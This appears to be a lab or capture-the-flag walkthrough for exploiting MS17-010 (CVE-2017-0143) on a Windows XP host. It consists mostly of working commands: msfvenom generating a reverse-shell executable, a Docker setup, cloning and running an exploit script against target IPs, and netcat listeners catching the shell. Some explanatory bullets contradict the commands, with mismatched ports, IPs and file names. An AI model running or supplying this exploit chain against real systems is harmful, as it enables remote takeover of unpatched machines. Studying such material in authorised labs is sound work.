MS17-010

🖥️ -h3x0v3rl0rd- #️⃣ CVE-2017-0143

Docker

Using msfvenom to Generate a Payload:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe

• -p windows/shell_reverse_tcp: Specifies the payload (a reverse TCP shell for Windows).
• LHOST=10.10.14.4: The attacker's IP address (where the target will connect back).
• LPORT=443: The port on the attacker's machine to listen for the connection.
• -f exe: Outputs the payload as an executable file.
• -a x86: Specifies the architecture (32-bit).
• -o rev.exe: Saves the payload as rev.exe.

Setting Up a Docker Container:

• Why Use Docker?
  • Docker provides a consistent and isolated environment for running the exploit.
  • It avoids dependency issues (e.g., Python version conflicts, missing libraries).

Steps to Set Up Docker:

sudo apt-get install docker.io

Create a Folder Structure:

mkdir exploit
cd exploit
touch Dockerfile
echo "impacket==0.9.23" > requirements.txt

• Dockerfile: Contains instructions for building the Docker container.
• requirements.txt: Lists Python dependencies (e.g., impacket).

Write the Dockerfile:

FROM python:2.7-alpine
RUN apk --update --no-cache add \
    git \
    zlib-dev \
    musl-dev \
    libc-dev \
    gcc \
    libffi-dev \
    openssl-dev && \
    rm -rf /var/cache/apk/*

RUN mkdir -p /opt/exploit
COPY requirements.txt /opt/exploit
COPY ms17-010.exe /opt/exploit
WORKDIR /opt/exploit
RUN pip install -r requirements.txt

• FROM python:2.7-alpine: Uses a lightweight Alpine Linux image with Python 2.7.
• RUN apk --update --no-cache add: Installs necessary dependencies (e.g., git, gcc).
• COPY rev.exe /opt/cattime: Copies the reverse shell executable (rev.exe) into the container.
• RUN pip install -r requirements.txt: Installs Python dependencies (e.g., impacket).

Build the Docker Container:

sudo docker build -t exploit .

Run the Container:

sudo docker run -it exploit /bin/sh

Downloading and Running the Exploit:

git clone https://github.com/h3x0v3rl0rd/MS17-010_CVE-2017-0143.git

cd MS17-010_CVE-2017-0143

python send_and_execute.py 10.10.10.4 ../ms17-010.exe

Reverse Shell:

nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.4] 1035
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Old Methods

Method 1

git clone https://github.com/h3x0v3rl0rd/MS17-010_CVE-2017-0143.git
cd MS17-010_CVE-2017-0143/
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.9 LPORT=1337 -f exe -o ms17-010.exe

create a nc listner

nc -nlvp 1337

exploit

python2.7 send_and_execute.py 10.129.163.162 ms17-010.exe

Incase if you get a error like this folow these steps:

cd MS17-010_CVE-2017-0143/
sudo python2.7 get-pip.py
pip2.7 install --upgrade setuptools
python2.7 -m pip install impacket

Now we can run the exploit :

Method 2

Now this exploit is created in python2 and it require some libraries like impacket , pycrypto . For that virtual environment has to setup and here virtualenv program help .Once you created the environment then you can activate that environment using source utility program . Here python2 is used as interpreter because in latest Kali python3 is set as global interpreter and our exploit is in python2 .

why we use virtual environment ? For that you can check out this . https://www.dabapps.com/blog/introduction-to-pip-and-virtualenv-python/

virtualenv -p python2 venv
source venv/bin/activate
pip install impacket
pip install pycrypto

python checker.py 10.10.10.4

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.12 LPORT=4445 -f exe > shell.exe

python send_and_execute.py 10.10.10.4 shell.exe 445 browser

nc -nlvp 4445